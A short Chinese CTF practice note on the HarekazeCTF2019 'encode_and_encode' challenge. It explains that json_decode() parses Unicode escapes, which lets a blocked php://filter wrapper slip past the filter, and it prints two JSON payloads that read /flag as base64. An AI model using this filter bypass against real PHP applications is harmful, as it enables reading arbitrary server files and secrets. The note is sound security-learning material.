06/19刷题记录
BUU+WEB+[HarekazeCTF2019]encode_and_encode
关键字
- php://input 读取POST数据
- JSON(JavaScript Object Notation)轻量级的数据格式。
- php://filter/伪协议
复现流程:
-
审计代码过滤了很多伪协议通过查询发现json_decode()会自动解析unicode编码将php flag字符用Unicode编码
bp抓包修改为POST传参
{ "page" : "\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
也可以全部Unicode编码
{"page": "\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067"}
总结
-
php://input 读取POST传参
-
json_decode()自动解析Unicode编码
-
php://filter/read=convert.base64-encode/resource=XXX 以base64编码读取某个文件